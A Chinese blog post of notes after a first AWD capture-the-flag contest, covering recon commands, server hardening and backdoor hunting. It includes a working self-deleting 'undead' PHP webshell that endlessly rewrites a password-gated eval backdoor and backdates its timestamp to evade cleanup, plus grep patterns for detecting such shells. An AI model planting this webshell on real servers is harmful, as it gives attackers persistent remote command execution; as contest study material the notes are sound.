当前位置: 首页 > news >正文

awd总结

总结:

由于是第一次参加AWD比赛,各方面经验都不足,在参赛的前几天也是疯狂搜集各种脚本、框架、工具等,同时也参考b站的视频进行学习,我发现就是还是实操才能更快的学习

我觉得就是我前期的准备工作不足,也可能是我当时比赛网太卡了,kali一直没有ssh连接上,换了moba连结果半天回应一个连接超时,现下的xshell结果还死活尝试连接不上去,当时就有点慌了,因为比赛已经开始很久了我还没ssh连接上,我就一直找是不是复制错了,百度了一下说是可能因为我的windows没有开ssh和sshd连接,后面就一直尝试解决问题,到后面心态就有点崩溃了,下来问其他人他们都是直接连就能用,我也不知道到底是什么问题,目前还正在解决问题中。

因为一直没有ssh连接上,所以接下来的时间都浪费在解决为什么连不上这个问题上了,其他常见的资料很多网上和师兄发的都有,这里就写一些新学到的东西,方便下次打awd比赛的时候看,以免出现同样愚蠢的错误。

笔记:
1.信息确认

(这里借用大佬鹿鸣天涯的介绍)

标记1:比赛名称

标记2:白名单一般用于防止外部恶意攻击,如果赛方发现名单以外IP 可能会进行封禁处理。

标记3:用户服务器登录,账号为team1 密码为fe85d7dec6e3757f391e013efdd67c0c,端口为2222,一般服务器为Linux系统,登录工具可以使用xSHELL,finalSHELL等。

标记4:Token主要用于脚本身份凭证用于自动化提交鉴别。虚拟IP为靶机访问网址。其他选手地址为192-168-x-250.pvp923.bugku.cn,x可以是1-255内任一个数字。

标记5:主要用于扫描其他选手靶机用来攻击获取到根目录FLAG并提交得分,靶机环境和自己的靶机一致。

标记6:FLAG提交处。

标记7:用于脚本提交的api接口。

标记8:大屏观赛区

2.登录靶机
3.信息收集

主机探测:一般用nmap

查看本机ip:用ipconfig

扫描c段存活:如namp -sn 192.168.0.0/24;

nmap -sV 192.168.0.2 #扫描主机系统版本
                          nmap -sS 192.168.0.2#扫描主机常用端口;

                          nmap -sS -p 80,445 192.168.0.2  #扫描主机部分端口
                          nmap -sS -p- 192.168.0.2 #扫描主机全部端口

明确Linux机器信息

uname -a                       //系统信息
ps -aux                        //查询进程信息
ps -ef | grep 进程名称         //筛选指定进程
id                             //用于显示用户ID,以及所属群组ID
cat /etc/passwd                //查看用户情况
ls /home/                      //查看用户情况
find / -type d -perm -002      //可写目录检查
ifconfig                       //Linux上查看网卡信息

明确Windows机器信息

whoami /all                    //Windows上查看用户详细信息
ipconfig  /all                 //Windows上查看网卡信息

找本地Flag

grep -r "flag" /var/www/html/  //Linux:在Web目录下查找flag
findstr /s /i "flag" *.*       //Windows:当前目录以及所有子目录下的所有文件中查找"flag"这个字符串

4.安全加固

压缩源码

tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html

备份源码:

mv web.tar /tmp
mv web.zip /home/xxx

利用 .htaccess 配置文件禁止php文件执行

<Directory "/var/www/html/upload">   //指定目录后续的指令将应用于该目录
Options -ExecCGI -Indexes            //禁用了目录中的 CGI 执行和目录索引(显示目录内容列表)功能。
AllowOverride None                   //不允许在该目录中使用 .htaccess 文件来覆盖服务器的配置。
RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml  
RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml      
//这两个指令移除指定文件扩展名的处理器和类型。
//在这种情况下,这些指令从 Apache 的处理列表中移除了与 PHP 相关的扩展名和服务器端包含(SSI)文件类型。
php_flag engine off     //这个指令将 PHP 的引擎标志(engine)设置为关闭状态,从而禁用了在该目录中执行 PHP 脚本的能力。
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
deny from all
</FilesMatch>  //这三行命令使用正则表达式匹配了以 .php、.phtml、.php3、.pht、.php4、.php5、.php7、.shtml 结尾的文件,并将其访问权限设置为拒绝所有
</Directory>

关闭PHP伪协议 

allow_url_fopen = Off
allow_url_include = Off

备份指定数据库:

mysqldump –u username –p password databasename > target.sql

5.自由攻击

进阶不死马:

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>';while (1){file_put_contents($file,$code);system('touch -m -d "2020-12-01 09:10:12" shell.php');  //修改时间,防止被删usleep(5000);
}
?>//passwd=AabyssTeam
//POST传参:passwd=AabyssTeam&cmd=system('ls');

后门查杀

通过命令查看可疑文件:

find /var/www/html -name *.php -mmin -20 #查看最近20分钟修改文件
find ./ -name '*.php' | xargs wc -l | sort -u #寻找行数最短文件
grep -r --include=*.php  '[^a-z]eval($_POST'  /var/www/html    #查包含关键字的php文件
find /var/www/html -type f -name "*.php" | xargs grep "eval(" |more

相关文章:

awd总结

总结&#xff1a; 由于是第一次参加AWD比赛&#xff0c;各方面经验都不足&#xff0c;在参赛的前几天也是疯狂搜集各种脚本、框架、工具等&#xff0c;同时也参考b站的视频进行学习&#xff0c;我发现就是还是实操才能更快的学习 我觉得就是我前期的准备工作不足&#xff0c;…...

【react】react+es6+antd5.13.2+ts,antd表格的操作如何在父组件写?

reactes6antd5.13.2ts,antd表格的操作如何在父组件写&#xff1f; 我的子组件columns.tsx&#xff0c;只加表头&#xff0c;操作放在父组件。 columns.tsx的代码&#xff1a; export const dataColumns [{title: 项目成员,dataIndex: name,key: name,},{title: 可选账号,alig…...

virtio笔记

最近在看虚拟化相关的东西&#xff0c;以virtio-console为例&#xff0c;记录下。 此文只是学习笔记&#xff0c;文中肯定有不少错误&#xff0c;不要参考 devicemd侧&#xff1a; virtio_console.c中&#xff0c;初始化会对port->cb赋值为 viritio_console_control_tx&am…...

初始web服务器(并基于idea来实现无需下载的tomcat)

前言 前面学习了对应的http协议&#xff0c;我们知道了他是在网络层进行数据传输的协议&#xff0c;负责相应数据以及接收数据的规则&#xff0c;但是在人员开发后端的时候不仅仅需要你写io流进行数据传输&#xff0c;还需要你进行对应的tcp协议来进行数据打包发送http协议-CSD…...

软件文档测试

1 文档测试的范围 软件产品由可运行的程序、数据和文档组成。文档是软件的一个重要组成部分。 在软件的整人生命周期中&#xff0c;会用到许多文档&#xff0c;在各个阶段中以文档作为前阶段工作成果的体现和后阶段工作的依据。 软件文档的分类结构图如下图所示&#xff1a; …...

从零开始手写mmo游戏从框架到爆炸(七)— 消息封装

导航&#xff1a;从零开始手写mmo游戏从框架到爆炸&#xff08;零&#xff09;—— 导航-CSDN博客 上一篇&#xff0c;我们初步把消息handler 注册到了服务中&#xff0c;在进行后续工作之前我们需要再做一些准备工作。 第一&#xff1a;把之前自己管理的bean放到spring中…...

从Unity到Three.js(画线组件line)

JavaScript 0基础&#xff0c;只是照着官方文档临摹了下&#xff0c;之后有时间再进行细节学习和功能封装。 import * as THREE from three; //引入threejsconst renderer new THREE.WebGLRenderer();//创建渲染器 //设置渲染范围&#xff0c;当前撑满全屏,屏幕左上角是&…...

LCP 30. 魔塔游戏 - 力扣(LeetCode)

题目描述 小扣当前位于魔塔游戏第一层&#xff0c;共有 N 个房间&#xff0c;编号为 0 ~ N-1。每个房间的补血道具/怪物对于血量影响记于数组 nums&#xff0c;其中正数表示道具补血数值&#xff0c;即血量增加对应数值&#xff1b;负数表示怪物造成伤害值&#xff0c;即血量减…...

数据结构——单向链表和双向链表的实现(C语言版)

目录 前言 1. 链表 1.1 链表的概念及结构 1.2 链表的分类 2. 单链表接口实现 2.1 数据结构设计与接口函数声明 2.2 创建结点&#xff0c;打印&#xff0c;查找 2.3 尾插&#xff0c;头插&#xff0c;尾删&#xff0c;头删 2.4 插入或删除 2.4.1在指定位置后 2.4.2在…...

TCP和UDP相关问题(重点)(4)——4.使用TCP的协议有哪些?使用UDP的协议有哪些?

4.使用TCP的协议有哪些&#xff1f;使用UDP的协议有哪些&#xff1f; 使用TCP的协议有&#xff1a;HTTP3.0之前的HTTP协议、HTTPS、FTP、SMTP、SSH... 使用UDP的协议有&#xff1a;HTTP3.0、DNS、DHCP......

Python进阶--爬取美女图片壁纸(基于回车桌面网的爬虫程序)

目录 一、前言 二、爬取下载美女图片 1、抓包分析 a、分析页面 b、明确需求 c、抓包搜寻 d、总结特点 2、编写爬虫代码 a、获取图片页网页源代码 b、提取所有图片的链接和标题 c、下载并保存这组图片 d、 爬取目录页的各种类型美女图片的链接 e、实现翻页 三、各…...

[office] excel如何计算毛重和皮重的时间间隔 excel计算毛重和皮重时间间隔方法 #笔记#学习方法

excel如何计算毛重和皮重的时间间隔 excel计算毛重和皮重时间间隔方法 在日常工作中经常会到用excel&#xff0c;有时需要计算毛重和皮重的时间间隔&#xff0c;具体的计算方式是什么&#xff0c;一起来了解一下吧 在日常工作中经常会到用excel&#xff0c;在整理编辑过磅数据…...

Pandas 对带有 Multi-column(多列名称) 的数据排序并写入 Excel 中

Pandas 从Excel 中读取带有 Multi-column的数据 正文 正文 我们使用如下方式写入数据&#xff1a; import pandas as pd import numpy as npdf pd.DataFrame(np.array([[10, 2, 0], [6, 1, 3], [8, 10, 7], [1, 3, 7]]), columns[[Number, Name, Name, ], [col 1, col 2, co…...

如何为Kafka加上账号密码(一)

Kafka认证基本概念 一直以来&#xff0c;我们公司内网的Kafka集群都是在裸奔&#xff0c;只要知道端口号&#xff0c;任何人都能连上集群操作一番。直到有个主题莫名消失&#xff0c;才引起我们的警觉&#xff0c;是时候该考虑为它添加一套认证策略了。 认证和授权就是一对孪生…...

Elasticsearch的Index Lifecycle Management(ILM)

Elasticsearch的Index Lifecycle Management&#xff08;ILM&#xff09;功能提供了一种自动化管理索引生命周期的方式。ILM使得用户可以基于特定的条件&#xff08;如索引的年龄、大小等&#xff09;来自动执行如回滚、删除等操作&#xff0c;进而优化存储和提高查询性能。ILM…...

2、学习 Nacos 注册中心

学习 Nacos 注册中心 一、使用Nacos作为注册中心1、父pom.xml文件配置SpringCloudAlibaba的dependency-management依赖2、在微服务中添加Nacos客户端依赖3、配置Nacos服务地址 二、服务的分级存储模型1、配置实例的集群属性2、权重配置 三、命名空间 一、使用Nacos作为注册中心…...

Java 如何操作 nginx 服务器上的文件?

随着Java技术的不断发展&#xff0c;越来越多的开发人员开始使用Java来操作服务器上的文件。其中&#xff0c;如何操作nginx服务器上的文件也是许多Java开发人员所关注的重点之一。本文将介绍Java操作nginx服务器上文件的基本方法。 一、使用Java的File类 Java的File类可以用…...

时序预测 | MATLAB实现基于CNN-GRU-AdaBoost卷积门控循环单元结合AdaBoost时间序列预测

时序预测 | MATLAB实现基于CNN-GRU-AdaBoost卷积门控循环单元结合AdaBoost时间序列预测 目录 时序预测 | MATLAB实现基于CNN-GRU-AdaBoost卷积门控循环单元结合AdaBoost时间序列预测预测效果基本介绍模型描述程序设计参考资料 预测效果 基本介绍 1.MATLAB实现基于CNN-GRU-AdaBo…...

中创ET4410 台式LCR数字电桥 简单开箱测评

最近买了一台LCR电桥&#xff0c;完善一下自己实验室的设备&#xff0c;选了中创ET4410&#xff0c;这款性价比高一点。 1199元在PDD买的&#xff0c;好像胜利的VC4090C也是找中创代工的。 ET4410介绍 本系列LCR数字电桥是采用自动平衡电桥原理设计的元件参数分析仪&#xf…...

格式化dingo返回内容

dingo api返回的内容中添加code 和 message &#xff0c;保持与异常返回的内容格式相一致。 失败会存在code 和 message &#xff0c;我们只需要关注成功的情况 非分页返回&#xff0c;可以创建一个父类controller&#xff0c;通过调用sucess方法来返回 class Controller ext…...

搞懂对数收益率:为什么金融圈都在悄悄用它?

搞懂对数收益率&#xff1a;为什么金融圈都在悄悄用它&#xff1f;如果你曾经被“涨10%再跌10%&#xff0c;怎么还亏了&#xff1f;”这个问题困扰过&#xff0c;那么读完这篇文章&#xff0c;你会豁然开朗。一、一个让你“感觉不对”的小实验 假设朋友向你推荐一只期货合约&am…...

别再手动算考勤了!我用Python+企业微信API写了个自动统计脚本(附源码)

告别手工考勤&#xff1a;Python企业微信API自动化统计实战指南 每次月底统计考勤时&#xff0c;行政同事总要加班到深夜&#xff0c;手动核对上百条打卡记录。迟到、早退、外勤打卡...各种状态让人眼花缭乱。作为技术团队的一员&#xff0c;我决定用Python企业微信API打造一个…...

麦当劳中国启动2026全国招聘周招募新生代人才

美通社消息&#xff1a;麦当劳中国正式启动2026年全国招聘周。今年&#xff0c;首批年满16周岁的10后将步入职场&#xff0c;与00后共同构成新生代主力军。在AI的变革时代&#xff0c;麦当劳以"有保障、有福利、有发展"的薪酬福利成长体系&#xff0c;以及长期、系统…...

开发过程中如何利用Taotoken的容灾路由保障服务高可用

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 开发过程中如何利用Taotoken的容灾路由保障服务高可用 在构建依赖大模型API的企业级应用时&#xff0c;服务的持续可用性是核心考量…...

伊犁盛夏赴花海,霍城紫浪漫卷天山脚下

在新疆伊犁哈萨克自治州霍城县&#xff0c;天山北麓的缓坡地带铺展着国内规模最大的薰衣草种植区。每年夏季&#xff0c;这片土地被大面积的薰衣草覆盖&#xff0c;呈现出连绵的紫色景观。霍城与法国普罗旺斯、日本北海道富良野地处相近纬度&#xff0c;气候条件适宜薰衣草生长…...

分支管理(二):解决合并冲突,处理“代码打架”

1. 问题场景 你已经学会了创建分支和合并分支。在上一篇文章里&#xff0c;合并过程顺滑得像切黄油——Git 自动完成了所有工作。但真实世界里&#xff0c;你和一个同事可能同时修改了同一个文件的同一处代码。当你试图把两个分支合并在一起时&#xff0c;Git 会停下来&#xf…...

用Python和pywifi写个WiFi密码测试工具(附完整GUI源码)

用Python构建WiFi安全测试工具&#xff1a;从原理到GUI实现 在数字化时代&#xff0c;WiFi安全已成为个人和企业网络安全的第一道防线。作为Python开发者&#xff0c;我们如何利用技术手段来验证自身网络的安全性&#xff1f;本文将带你从零开始构建一个基于pywifi库的WiFi连接…...

别再手动调寄存器了!用Simulink给F28335 DSP配置ePWM,20kHz互补带死区输出一次搞定

告别寄存器调试&#xff1a;用Simulink图形化配置F28335 DSP的ePWM模块 在电机控制和电源逆变器开发中&#xff0c;PWM信号生成是核心环节。传统开发方式需要工程师反复查阅数百页的数据手册&#xff0c;手动计算并配置数十个寄存器参数&#xff0c;一个简单的死区时间设置就可…...

Hermes Agent 任务追踪实战:3 类日志审计配置+2 步故障自愈触发流程

1. 日志审计不是“看日志”,而是让 Hermes Agent 自己学会写诊断报告 大多数人第一次配置 Hermes Agent 的任务追踪能力时,会下意识打开 logs/ 目录,用 tail -f 盯着滚动的文本发呆——这本质上还是在用人工方式做运维。真正的工程化日志审计,是让 Hermes Agent 在任务执行…...

RAG vs LoRA:AI产品选型困境终结者!产品经理必看的技术选型指南

本文深入剖析了AI产品开发中RAG与LoRA技术的选型困境&#xff0c;指出两者并非竞争关系&#xff0c;而是基于不同场景的产品判断失误。文章从概念解析入手&#xff0c;通过生动类比区分了RAG&#xff08;知识库增强&#xff09;与LoRA&#xff08;模型微调&#xff09;的核心差…...